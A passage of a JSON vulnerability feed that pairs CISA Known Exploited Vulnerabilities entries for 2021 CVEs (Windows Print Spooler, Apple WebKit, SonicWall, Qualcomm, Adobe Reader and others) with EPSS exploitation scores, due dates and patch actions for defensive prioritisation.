instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Defender","stacks":["Microsoft","Defender"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.39653,"percentile":0.98608,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-1647&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-1647","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-1647 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-1647&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-1647, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-1675","cveId":"CVE-2021-1675","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Print Spooler Remote Code Execution Vulnerability","summary":"Microsoft Windows Print Spooler contains an unspecified vulnerability that allows for remote code execution.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.85305,"percentile":0.99714,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-1675&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-1675","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-1675 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-1675&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-1675, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-1732","cveId":"CVE-2021-1732","aliases":[],"kind":"vulnerability","title":"Microsoft Win32k Privilege Escalation Vulnerability","summary":"Microsoft Win32k contains an unspecified vulnerability that allows for privilege escalation.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Win32k","stacks":["Microsoft Windows","Microsoft","Win32k"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.78376,"percentile":0.99578,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-1732&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-1732","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-1732 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-1732&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-1732, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-1782","cveId":"CVE-2021-1782","aliases":[],"kind":"vulnerability","title":"Apple Multiple Products Race Condition Vulnerability","summary":"Apple iOS, iPadOs, macOS, watchOS, and tvOS contain a race condition vulnerability that may allow a malicious application to elevate privileges.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"Multiple Products","stacks":["Apple","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.02222,"percentile":0.82571,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-1782&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-1782","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-1782 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-1782&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-1782, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-1870","cveId":"CVE-2021-1870","aliases":[],"kind":"vulnerability","title":"Apple iOS, iPadOS, and macOS WebKit Remote Code Execution Vulnerability","summary":"Apple iOS, iPadOS, and macOS WebKit contain an unspecified logic vulnerability that allows a remote attacker to execute code. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"iOS, iPadOS, and macOS","stacks":["Apple iOS and iPadOS","Apple macOS","Safari and WebKit","Apple","iOS, iPadOS, and macOS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.0771,"percentile":0.9457,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-1870&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-1870","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-1870 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-1870&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-1870, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-1871","cveId":"CVE-2021-1871","aliases":[],"kind":"vulnerability","title":"Apple iOS, iPadOS, and macOS WebKit Remote Code Execution Vulnerability","summary":"Apple iOS, iPadOS, and macOS WebKit contain an unspecified logic vulnerability that allows a remote attacker to execute code. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"iOS, iPadOS, and macOS","stacks":["Apple iOS and iPadOS","Apple macOS","Safari and WebKit","Apple","iOS, iPadOS, and macOS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.07002,"percentile":0.94117,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-1871&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-1871","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-1871 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-1871&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-1871, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-1879","cveId":"CVE-2021-1879","aliases":[],"kind":"vulnerability","title":"Apple iOS, iPadOS, and watchOS WebKit Cross-Site Scripting (XSS) Vulnerability","summary":"Apple iOS, iPadOS, and watchOS WebKit contain an unspecified vulnerability that allows for universal cross-site scripting (XSS) when processing maliciously crafted web content. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"iOS, iPadOS, and watchOS","stacks":["Apple iOS and iPadOS","Safari and WebKit","Apple","iOS, iPadOS, and watchOS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.07082,"percentile":0.94176,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-1879&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-1879","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-1879 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-1879&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-1879, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-1905","cveId":"CVE-2021-1905","aliases":[],"kind":"vulnerability","title":"Qualcomm Multiple Chipsets Use-After-Free Vulnerability","summary":"Multiple Qualcomm Chipsets contain a use after free vulnerability due to improper handling of memory mapping of multiple processes simultaneously.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Qualcomm","product":"Multiple Chipsets","stacks":["Qualcomm chipsets","Qualcomm","Multiple Chipsets"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.01543,"percentile":0.74781,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-1905&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-1905","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-1905 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-1905&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-1905, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-1906","cveId":"CVE-2021-1906","aliases":[],"kind":"vulnerability","title":"Qualcomm Multiple Chipsets Detection of Error Condition Without Action Vulnerability","summary":"Multiple Qualcomm chipsets contain a detection of error condition without action vulnerability when improper handling of address deregistration on failure can lead to new GPU address allocation failure.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Qualcomm","product":"Multiple Chipsets","stacks":["Qualcomm chipsets","Qualcomm","Multiple Chipsets"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.0052,"percentile":0.43877,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-1906&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-1906","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-1906 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-1906&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-1906, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-20016","cveId":"CVE-2021-20016","aliases":[],"kind":"vulnerability","title":"SonicWall SSLVPN SMA100 SQL Injection Vulnerability","summary":"SonicWall SSLVPN SMA100 contains a SQL injection vulnerability that allows remote exploitation for credential access by an unauthenticated attacker.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"SonicWall","product":"SSLVPN SMA100","stacks":["SonicWall","SSLVPN SMA100"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.40038,"percentile":0.98622,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-20016&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-20016","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-20016 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-20016&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-20016, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-20021","cveId":"CVE-2021-20021","aliases":[],"kind":"vulnerability","title":"SonicWall Email Security Improper Privilege Management Vulnerability","summary":"SonicWall Email Security contains an improper privilege management vulnerability that allows an attacker to create an administrative account by sending a crafted HTTP request to the remote host. This vulnerability has known usage in a SonicWall Email Security exploit chain along with CVE-2021-20022 and CVE-2021-20023 to achieve privilege escalation.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"SonicWall","product":"SonicWall Email Security","stacks":["SonicWall","SonicWall Email Security"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.8878,"percentile":0.99774,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-20021&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-20021","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-20021 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-20021&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-20021, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-20022","cveId":"CVE-2021-20022","aliases":[],"kind":"vulnerability","title":"SonicWall Email Security Unrestricted Upload of File Vulnerability","summary":"SonicWall Email Security contains an unrestricted upload of file with dangerous type vulnerability that allows a post-authenticated attacker to upload a file to the remote host. This vulnerability has known usage in a SonicWall Email Security exploit chain along with CVE-2021-20021 and CVE-2021-20023 to achieve privilege escalation.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"SonicWall","product":"SonicWall Email Security","stacks":["SonicWall","SonicWall Email Security"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.16639,"percentile":0.96997,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-20022&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-20022","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-20022 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-20022&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-20022, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-20023","cveId":"CVE-2021-20023","aliases":[],"kind":"vulnerability","title":"SonicWall Email Security Path Traversal Vulnerability","summary":"SonicWall Email Security contains a path traversal vulnerability that allows a post-authenticated attacker to read files on the remote host. This vulnerability has known usage in a SonicWall Email Security exploit chain along with CVE-2021-20021 and CVE-2021-20022 to achieve privilege escalation.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"SonicWall","product":"SonicWall Email Security","stacks":["SonicWall","SonicWall Email Security"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.51689,"percentile":0.98939,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-20023&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-20023","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-20023 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-20023&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-20023, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-20090","cveId":"CVE-2021-20090","aliases":[],"kind":"vulnerability","title":"Arcadyan Buffalo Firmware Path Traversal Vulnerability","summary":"Arcadyan Buffalo firmware contains a path traversal vulnerability that could allow unauthenticated, remote attackers to bypass authentication and access sensitive information. This vulnerability affects multiple routers across several different vendors.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Arcadyan","product":"Buffalo Firmware","stacks":["Arcadyan","Buffalo Firmware"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99982,"percentile":0.99982,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-20090&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-20090","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-20090 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-20090&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-20090, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-21017","cveId":"CVE-2021-21017","aliases":[],"kind":"vulnerability","title":"Adobe Acrobat and Reader Heap-based Buffer Overflow Vulnerability","summary":"Acrobat Acrobat and Reader contain a heap-based buffer overflow vulnerability that could allow an unauthenticated attacker to achieve code execution in the context of the current user.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"Acrobat and Reader","stacks":["Adobe Acrobat and Reader","Adobe","Acrobat and Reader"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.86326,"percentile":0.99731,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-21017&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI 